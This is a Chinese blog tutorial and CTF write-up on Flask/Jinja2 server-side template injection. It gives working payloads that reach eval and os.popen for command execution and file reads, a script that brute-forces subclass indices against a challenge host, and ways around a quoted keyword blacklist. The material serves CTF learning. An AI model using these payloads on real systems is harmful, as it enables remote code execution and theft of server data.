SSTI基本原理以及漏洞利用

文章发布时间:

最后更新时间:

文章总字数:
3.2k

预计阅读时间:
13 分钟

SSTI基本原理

感谢大佬提供的参考:[SSTI(模板注入)–Flask(萌新向) | BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客园 (cnblogs.com)

SSTI(Server-Side Template Injection)也就是服务器端模板注入,用户的输入在正常情况下应该作为普通的变量在模板中渲染,但SSTI在模板进行渲染时实现了语句的拼接,模板渲染得到的页面实际上包含了注入语句产生的结果。

SST就是将页面中大量重复使用固定内容与变动内容分离,固定内容作为模板,而变动内容作为变量,每当该页面需要使用时只需要在模板中将变量替换为所需值即可,而不必为每次使用时从头到尾的生成两个完全不同的页面。

本篇主要是jinja2为引擎的flask框架的SSTI注入

补充:如果题目很明显地指明是flask框架,那么有很大可能就是SSTI注入漏洞,要是找不到注入点(参数传递点),可以使用arjun来爆破url参数

Flask的代码基础:

1
2
3
4
5
6
7
8
9
10
11
12
#从flask包中导入Flask和相应所需函数
from flask import Flask,render_template_string
#实例化一个Flask类
app=Flask(__name__)
#设置远程路由,访问页面”/“时会执行随后定义的index函数,我们看到的页面就是return的结果
@app.route("/")
def index():
return "hello"

if __name__=="__main__":
#开始运行Flask模板
app.run()

可见访问页面的结果就是我们代码中所规定的显示了一句hello,我们也可以将一个HTML的所有代码放入return返回的字符串中,这样我们浏览的页面就是一个HTML页面(注意使用这样的方法返回一个HTML页面是不会经过模板渲染的,即在其中的模板语法并不会被解析。但我们完全可以将HTML的页面单独存放为一个文件,然后我们通过相应函数返回渲染后的HTML代码。

以下创建了一个仅包含固定内容的HTML文件,我们访问页面时,Flask会将这个HTML文件作为模板渲染并返回渲染后的HTML代码。文件结构如下

image-20230706191452362
1
2
3
4
5
6
7
8
9
10
11
12
#从flask包中导入Flask和相应所需函数
from flask import Flask,render_template_string,render_template
#实例化一个Flask类
app=Flask(__name__)
#设置远程路由,访问页面”/“时会执行随后定义的index函数,我们看到的页面就是return的结果
@app.route("/")
def index():
return render_template("hello.html") #该函数返回render_template调用的结果

if __name__=="__main__":
#开始运行Flask模板
app.run()

当然一个模板除了固定内容也会有变动的内容,但是这些变动的内容作为变量是不能直接在HTML文件中使用的(HTML是一种静态语言,并不能定义或处理变量之类动态语言所具有的),想要使用首先得在渲染模板时将这些变量传入,其次得在模板文件对应的位置用特殊语法(即模板语法)将这些变量标志以便被解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#从flask包中导入Flask和相应所需函数
from flask import Flask,render_template_string,render_template,request
#实例化一个Flask类
app=Flask(__name__)
#设置远程路由,访问页面”/“时会执行随后定义的index函数,我们看到的页面就是return的结果
@app.route("/")
def index():
username=request.args.get('name')
if not username:
username="stranger"
return render_template("hello.html",username=username) #该函数返回render_template调用的结果,前一个username是html里面要使用到的变量名,后面的username是需要传进去的变量

if __name__=="__main__":
#开始运行Flask模板
app.run()
1
<h1>welcome `{{`username`}}`</h1>

在模板文件中,显然{{username}} 这种语法不是HTML自带的,这是Flask中定义的模板语法,通过{{var}}可以用来在HTML中实现python中的变量,此外还有{% code %}用来在HTML中实现一些基础的python语法。

在html中与payload使用有关的for语句和if语句

1
{% if... %}{% endif %}   {% for %}{% endfor %}

注意在写完之后一定要加endif和endfor闭合

SSTI漏洞利用

当页面显示内容和参数或者输入有关的时候就可以通过模板语法来测试是否存在SSTI可行性

通常使用双层花括号四则运算如{{`3*7`}}来测试,如果页面上显示21,说明经过渲染,则存在SSTI漏洞

发现SSTI漏洞之后就可以通过payload进行进一步利用

payload1

1
`{{`''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")`}}`

SSTI漏洞的payload的共性是都是通过python的继承关系来找到eval函数或者os函数,open函数来读flag。通常的bypass都是将一个完整的字符串拆成两个字符串拼接。

下面分析payload1

首先是花括号,ssti必备的

其次,''.__class__,前面是一个空的字符串,字符串的属性__class__返回字符串所属的类,这样成功地把我们的操作对象从值转换为了类

接下来,.__base__,访问到了字符串所属类的父类,一般是object类,而object类是很多类的父类,于是使用__subclasses__()来获取object类的所有子类

在object类的所有子类中找到__init__之后有__globals__属性的类,可以写一个python脚本来检测返回结果中的第几个有globals属性,通常可以通过响应包的大小或是否正常访问来判断是否找到合适的类(访问不合适的类时往往响应包大小小上一截或根本不能正常访问)。:

1
2
3
4
5
import requests as res
for i in range(0,400):
url="http://127.0.0.1:5000/ssti?name=`{{`''.__class__.__base__.__subclasses__()[%d].__init__.__globals__`}}`"
response=res.get(url%i)
print(len(response.text),i,response.status_code)

通过下标找到了有globals属性的之后['__builtins__']就可以在该模块中找到我们平时经常用的内置函数和类,其中就有eval,exec,open这些evil的函数

有了eval之后导入os模块执行系统命令即可,注意用popen来执行命令,用system不行,popen函数返回结果是一个object,所以还需要read方法将结果读取出来,至于system函数我们试着只能看到执行结果状态码,所以不考虑使用。

于是便有了payload的最后一行eval("__import__('os').popen('type flag.txt').read()")

payload2

1
`{{`''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].open("flag.txt").read()`}}`

省略了eval,但是前提是要知道flag在哪个位置,通常配合os.listdir来获得文件位置

payload3

非常官方的题解:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
`{{` b['eval']('__import__("os").popen("type flag.txt").read()') `}}`
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

利用的类是catch_warnings,因为不管怎么样object下面都会有catch_warnings,而catch_warnings也有__globals__属性.

payload4

最简单的payload,通常会被检测过滤掉

1
`{{`config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()`}}`

作为储存配置信息的变量config刚好对应的就是一个非常合适的类,因为这个类中__init__函数全局变量中已经导入了”os”模块,我们可以直接调用。

两道SSTI例题

[[CSCCTF 2019 Qual]FlaskLight](https://buuoj.cn/challenges#[CSCCTF 2019 Qual]FlaskLight)————双层__base__、简单bypass

打开页面,并未发现可控输入点,也没有发现访问其他页面的提示,看看源码

发现源码中有提示,参数为search,采用get方式传参,正常传参发现参数search与页面中的“You searched for”处显示有关,传入四则运算时被解析,说明存在ssti。

image-20230706201748869

一段一段输入payload来测试返回结果以正确bypass获得想要的结果

先传入{{`".__class__.__base__`}},发现返回的是一个basestring,并不是我们想要的object类,于是可以再往上找一层,使用{{`".__class__.__base__.__base__`}},得到了object类

image-20230706202140554

获得object后再payload中补上_subclasses_(),发现可以成功获得子类

image-20230706202329717

然后使用脚本寻找合适的类,发现使用脚本找到100还没找到合适的类,推测payload还是有问题,继续排查,随便找个类,访问__init__发现正常,则问题出现在__globals__上。

image-20230706202603857

直接对参数search传入globals,发现无法正常访问,这里没用采有模板语法,globals只是当作普通的字符串传入,正常来说是不会出现无法正常访问的情况,说明存在关键字globals检测。

采用”[‘__globals__‘]”来替代’__globals__“,对于字符串python中可以使用+来进行拼接,在模板语法中也是可行了,所以我们这里可以将”[‘__globals__‘]”改写成”[‘__glob’+’als__‘]”这样就绕过了对globals关键字的检测,将脚本中payload以此修改后运行。

此时能进行正常访问,且访问类时如果响应包的大小偏大(合适的类能获取到__globals__属性,而__globals__值为当前环境的全局变量,通常这一部分会很多,用来展示这一部分的字符也就很多)则说明是合适的类。

1
2
3
4
5
6
7
8
9
10
import requests as res
import time
for i in range(0,400):
url="http://61ef7259-23f5-43b3-8a0d-111f2e8a2c17.node3.buuoj.cn/?search=`{{`''.__class__.__base__.__base__.__subclasses__()[%d].__init__['__glo'+'bals__'`}}`"
response=res.get(url%i)
#BUUCTF中访问速度过快会返回429,此时就需要暂缓再访问
if response.status_code!=200:
time.sleep(0.3)
response=res.get(url%i)
print(len(response.text),i,response.status_code)

为了检测payload中是否还存在被检测的关键词,先选用一个通常不会被禁用的命令来看

1
{{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

正常显示root,说明可行,可以利用系统命令了。

先查目录再读flag即可

最终payload:

1
?search={{''.__class__.__base__.__base__.__subclasses__()[78].__init__['__glo'+'bals__']['__builtins__'].eval("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

在对”globals”关键字检测过滤部分提到可以使用”[key]”替换符号”.”,这一点实际上对于payload中绝大多数使用符号”.”都是适用的(在稍后展示的payload中仅函数eval参数中的popen处不能替换为[‘popen’],但本身就是位于字符串之中所以还是可以绕过的),而能够适用”[key]”意味着这些地方的关键字检测都能被绕过,本题结束。

[GYCTF2020]FlaskApp(SSTI)————当目标成为一个小程序、关键字过滤

本题点进去发现有输入框,base64加密部分输入{{`7*7`}}没被渲染,在解密部分输入{{`7\*7`}}报错了,查看报错信息得到下图,看render_template_string识ssti,且需要base64加密传入+bypass

image-20230706175404399

既然有waf来过滤检测(其实一般都有过滤)且给出了文件名,那可以直接查看以下源文件中函数waf是如定义的了从而更好的bypass。

对payload 4按照payload 1中一样来导入”__builtins__“模块再接着直接使用函数open打开文件接着read方法读取文件内容。”{{`config.`__class__`.`__init__`.`__globals__`[`'__builtins__'`].open('app.py').read()`}}“的base64加密是”e3tjb25maWcuX19jbGFzc19fLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXS5vcGVuKCdhcHAucHknKS5yZWFkKCl9fQ==”,在decode页面中提交。

成功看到waf函数

1
2
3
4
5
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

将payload1中的所有在黑名单的字符串都进行字符串拼接处理,成功获得flag

1
`{{`config['__class__']['__init__']['__glo'+'bals__']['__builtins__']['e'+'val']("__im"+"port__('o'+'s').po"+"pen('cat /this_is_the_fl'+'ag.txt').read()")`}}`

同样也可以采用payload4组合看目录加直接读文件:

1
2
`{{`config.__class__.__init__.__globals__['o'+'s'].listdir('/')`}}`
`{{`config.__class__.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt').read()`}}`